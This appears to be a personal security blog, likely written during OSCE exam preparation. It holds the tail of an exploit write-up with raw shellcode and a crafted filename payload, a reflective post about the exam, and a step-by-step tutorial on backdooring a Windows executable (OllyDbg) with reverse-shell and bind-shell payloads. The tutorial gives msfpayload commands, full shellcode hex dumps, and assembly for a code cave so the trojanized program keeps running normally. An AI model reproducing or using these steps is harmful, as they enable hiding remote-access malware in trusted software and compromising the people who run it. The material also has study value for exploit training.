buf += "\xc9\xb1\x31\x31\x5a\x13\x83\xea\xfc\x03\x5a\xfc\x66"
buf += "\x25\xe9\xea\xe5\xc6\x12\xea\x89\x4f\xf7\xdb\x89\x34"
buf += "\x73\x4b\x3a\x3e\xd1\x67\xb1\x12\xc2\xfc\xb7\xba\xe5"
buf += "\xb5\x72\x9d\xc8\x46\x2e\xdd\x4b\xc4\x2d\x32\xac\xf5"
buf += "\xfd\x47\xad\x32\xe3\xaa\xff\xeb\x6f\x18\x10\x98\x3a"
buf += "\xa1\x9b\xd2\xab\xa1\x78\xa2\xca\x80\x2e\xb9\x94\x02"
buf += "\xd0\x6e\xad\x0a\xca\x73\x88\xc5\x61\x47\x66\xd4\xa3"
buf += "\x96\x87\x7b\x8a\x17\x7a\x85\xca\x9f\x65\xf0\x22\xdc"
buf += "\x18\x03\xf1\x9f\xc6\x86\xe2\x07\x8c\x31\xcf\xb6\x41"
buf += "\xa7\x84\xb4\x2e\xa3\xc3\xd8\xb1\x60\x78\xe4\x3a\x87"
buf += "\xaf\x6d\x78\xac\x6b\x36\xda\xcd\x2a\x92\x8d\xf2\x2d"
buf += "\x7d\x71\x57\x25\x93\x66\xea\x64\xf9\x79\x78\x13\x4f"
buf += "\x79\x82\x1c\xff\x12\xb3\x97\x90\x65\x4c\x72\xd5\x94"
buf += "\xbd\x4f\xc3\x01\x64\x3a\xae\x4f\x97\x90\xec\x69\x14"
buf += "\x11\x8c\x8d\x04\x50\x89\xca\x82\x88\xe3\x43\x67\xaf"
buf += "\x50\x63\xa2\xcc\x37\xf7\x2e\x3d\xd2\x7f\xd4\x41"

Note: Remember to adjust buf size accordingly in exploit code, you should have enough NOPs before the buf, ensure you land directly in the NOPs and not in the CCs:

filename = "\xcc" * 973 + "\x90" * 252 + buf + "\x90" * 30 + jumpback + "\xeb\xd0\x90\x90" + "\x4F\x48\x40"

17. Run the exploit. Done!

Reference

https://gist.github.com/r00tpgp/b5004a005d75592fa73a3ee1ef5ba8cf

Sunday, September 2, 2018

Offsec Cracking The Perimeter. The road to OSCE.

Firstly, this is by far the toughest exam after the OSCP back in 2017. I signed up for  CTP course  with 3 months lab time but I had to extend it another month due to work and personal obligations. I decided to take a shot at the exam about 4 months into the course material, the first try was disastrous, I failed miserably. The second time, well, lets just say I was over confident and thought I could pull thru by acing 3 out of 4 questions. That expectation fell short as there was a trick challenge that I couldn't crack on prod. The way offsec tailored this exam, you had to attempt all the questions. Offsec really made the exam brutal and they really planned it out well, it was like they knew how most students would have avoided the dreaded topic and tried to focus on the 'easy ones'. So don't expect a walk in the park. Many times when I thought I had solved 1 problem, I ran into another one around the corner. It was very frustrating but in the end, it was persistence and perseverance(6 months in total) that lead me to pass this exam after the 3rd attempt. I think I spent over 40 hours doing my own research outside the course material. The material given is just the tip of the iceberg. To pass the CTP challenge, you really need to know the subject matter in and out. Offsec designed the exam to test your understanding. Replicating the answer straight out from the courseware will not help you pass this exam. This challenge will test your lateral thinking and your patience!! At times, I felt like quitting. Some of the material especially the HP NNM shellcode encoding subject was presented too shallow that I couldn't fully comprehend it. I remember going over and over this topic to a point I have recognized mutts voice by heart. If you search on youtube, you will find his full demo at Defcon explaining his exploit in depth with more detail. It is true that the CTP material is abit outdated, I'm guessing it was written  around 2009 but the fundamentals remain the same. A lot of emphasis on Windows Exploit Development, Debugging with Olly, Egghunting & Shellcoding. Other topics like code review is also necessary to pass this exam. Websites like Coreland, fuzzysecurity and Googling the shit out of these subjects are necessary. There are some useful blogs out there and there's even binaries for practice that is very useful. I read some peeps even took up separate assembly lessons in preparation for CTP challenge but I honestly don't think it is necessary. I don't want to give out too much detail but don't expect straight forward answers from the web either. Much of the info is out there but you have to piecemeal it until you have full level of understanding on the topics presented in the course material. I found the offsec forums and community very helpful too! Just don't go asking for exam materials ;-)

CTP  is  more focused in advance pentesting topics. Areas such as XSS to shell and SNMP to GRE sniffing was something that awed me! My advice to those thinking of attempting the CTP challenge is don't rely on the course material alone, think out of the box, challenge yourself to try different solutions to the ones already presented to you and most of all....TRY HARDER..if you fail...F*&^*** TRY HARDER UNTIL YOU GET IT RIGHT!

Overall, I think its not about obtaining the OSCE certification that gave me the confidence at what I do but rather the thought process of overcoming the challenges and the hours of perseverance in cracking the perimeter!




Wednesday, August 1, 2018

Backdooring Windows Apps

Here are summarized notes on how to get a working backdoor on a PE(Portable Executable) file on Windows 7. For this case, I backdoored OllyDbg.exe. The idea is to have seamless execution of OllyDbg while spawning a reverse shell on port 1978 to an attacker host.

Using standard MSF payload and encoder from BT5. Hijack execution flow into our code cave, no AV bypass or stub encoder. Standard utils such as LordPE to extend the section header and WVI32 to insert null bytes:

1. Use LordPe to create new section. Make it executable.

2. Use wvi32 to insert null chars, use same length as the section

3. Launch Immunity and open Ollydbg, take note of the module insertion point:

Original state:

00401000 >   EB 10          JMP SHORT OLLYDBG.00401012
00401002     66:623A        BOUND DI,DWORD PTR DS:[EDX]



4. Under "Memory" modules, look for the section ".Newsec" that contains the code cave 'null' mem location:

code cave: 00553000

5. Modify the entry point "JMP SHORT OLLYDBG.00401012" with the jmp statement to the code cave addr

JMP 00553000

Now, jump into the code cave using f7:


5a. Step into the code cave, enter the register saving cmds:

pushad
pushfd
<BT5 msfpayload here>
...



6. Use backtrack msfpayload to gen shellcode!! and select/highlight enough space in the code cave to binay paste the payload:

msfpayload windows/shell_reverse_tcp LHOST=192.168.0.162 LPORT=1978 R > shell; hexdump -C shell | grep -v 0000013a |cut -d" " -f3-19|tr -d "(\n|'')"
fc e8 89 00 00 00 60 89  e5 31 d2 64 8b 52 30 8b52 0c 8b 52 14 8b 72 28  0f b7 4a 26 31 ff 31 c0ac 3c 61 7c 02 2c 20 c1  cf 0d 01 c7 e2 f0 52 578b 52 10 8b 42 3c 01 d0  8b 40 78 85 c0 74 4a 01d0 50 8b 48 18 8b 58 20  01 d3 e3 3c 49 8b 34 8b01 d6 31 ff 31 c0 ac c1  cf 0d 01 c7 38 e0 75 f403 7d f8 3b 7d 24 75 e2  58 8b 58 24 01 d3 66 8b0c 4b 8b 58 1c 01 d3 8b  04 8b 01 d0 89 44 24 245b 5b 61 59 5a 51 ff e0  58 5f 5a 8b 12 eb 86 5d68 33 32 00 00 68 77 73  32 5f 54 68 4c 77 26 07ff d5 b8 90 01 00 00 29  c4 54 50 68 29 80 6b 00ff d5 50 50 50 50 40 50  40 50 68 ea 0f df e0 ffd5 89 c7 68 c0 a8 00 a2  68 02 00 07 ba 89 e6 6a10 56 57 68 99 a5 74 61  ff d5 68 63 6d 64 00 89e3 57 57 57 31 f6 6a 12  59 56 e2 fd 66 c7 44 243c 01 01 8d 44 24 10 c6  00 44 54 50 56 56 56 4656 4e 56 56 53 56 68 79  cc 3f 86 ff d5 89 e0 4e56 46 ff 30 68 08 87 1d  60 ff d5 bb f0 b5 a2 5668 a6 95 bd 9d ff d5 3c  06 7c 0a 80 fb e0 75 05bb 47 13 72 6f 6a 00 53  ff d5

Here's one for bind shell:

msfpayload windows/shell_bind_tcp LPORT=1978 R > shell; hexdump -C shell | grep -v 00000155 |cut -d" " -f3-19|tr -d "(\n|'')"
fc e8 89 00 00 00 60 89  e5 31 d2 64 8b 52 30 8b52 0c 8b 52 14 8b 72 28  0f b7 4a 26 31 ff 31 c0ac 3c 61 7c 02 2c 20 c1  cf 0d 01 c7 e2 f0 52 578b 52 10 8b 42 3c 01 d0  8b 40 78 85 c0 74 4a 01d0 50 8b 48 18 8b 58 20  01 d3 e3 3c 49 8b 34 8b01 d6 31 ff 31 c0 ac c1  cf 0d 01 c7 38 e0 75 f403 7d f8 3b 7d 24 75 e2  58 8b 58 24 01 d3 66 8b0c 4b 8b 58 1c 01 d3 8b  04 8b 01 d0 89 44 24 245b 5b 61 59 5a 51 ff e0  58 5f 5a 8b 12 eb 86 5d68 33 32 00 00 68 77 73  32 5f 54 68 4c 77 26 07ff d5 b8 90 01 00 00 29  c4 54 50 68 29 80 6b 00ff d5 50 50 50 50 40 50  40 50 68 ea 0f df e0 ffd5 89 c7 31 db 53 68 02  00 07 ba 89 e6 6a 10 5657 68 c2 db 37 67 ff d5  53 57 68 b7 e9 38 ff ffd5 53 53 57 68 74 ec 3b  e1 ff d5 57 89 c7 68 756e 4d 61 ff d5 68 63 6d  64 00 89 e3 57 57 57 31f6 6a 12 59 56 e2 fd 66  c7 44 24 3c 01 01 8d 4424 10 c6 00 44 54 50 56  56 56 46 56 4e 56 56 5356 68 79 cc 3f 86 ff d5  89 e0 4e 56 46 ff 30 6808 87 1d 60 ff d5 bb f0  b5 a2 56 68 a6 95 bd 9dff d5 3c 06 7c 0a 80 fb  e0 75


6a. Take note of the esp register addr at the start of the code cave at the CLD instuction address space.

7. IMPORTANT: Step into the end of the code cave, change any "call ebx" or "push ebx" statement to NOPs. This will ensure that the payload doesn't exit and will continue execution flow.

7a. Take note of the esp address at the last addr of the code cave. Now, align the stack, eg:

In case you have a reverse shell payload, the ESP start and end are:
start esp: 0012FF68
end esp: 0012FD6C
Diff: 0012FF68 - 0012FD6C = 1FC

In case you have a bind shell payload:
Diff: 0012FF68 - 0012FD70 = 1F8

7a. Realign ESP and restore EDX value by adding this statement at the end of code cave:

add esp,1f8
popfd
popad
JMP 00401012
DB 66
DB 62
DB 3A




7b. Binary save to file. Reopen with Immunity and reexamine it.

8. Make sure nc listener is active (nc -nlvp 1978). If backdoored PE only starts after nc listerner ended, step thru(f7) the payload until you hit end of execution or WaitForSingleObject. **keep hitting f7 until you see WaitForSingleObject!! very long process, be patient. Else,

8a. If whatforsingleobject is in system file (ntdll or etc), search for DEC ESI, PUSH ESI, INC ESI in the shellcode and NOP it. These are the variable that is passed to the WaitForSingleObject func().

00553111 DEC ESI    <-----NOP this!!
00553112 PUSH ESI
00553112 INC ESI  <-------NOP this!!

8b. Save the changes(XOR'ed payload) to a new executable.

8a. Remove the offending code with NOP or adjust and save it to another file and rerun.

9. Rerun the executable, a reverse shell should appear and OllyDbg should start!





References:
http://www.securitynewspaper.com/2017/11/21/fully-undetectable-backdooring-pe-files/
https://haiderm.com/fully-undetectable-backdooring-pe-file/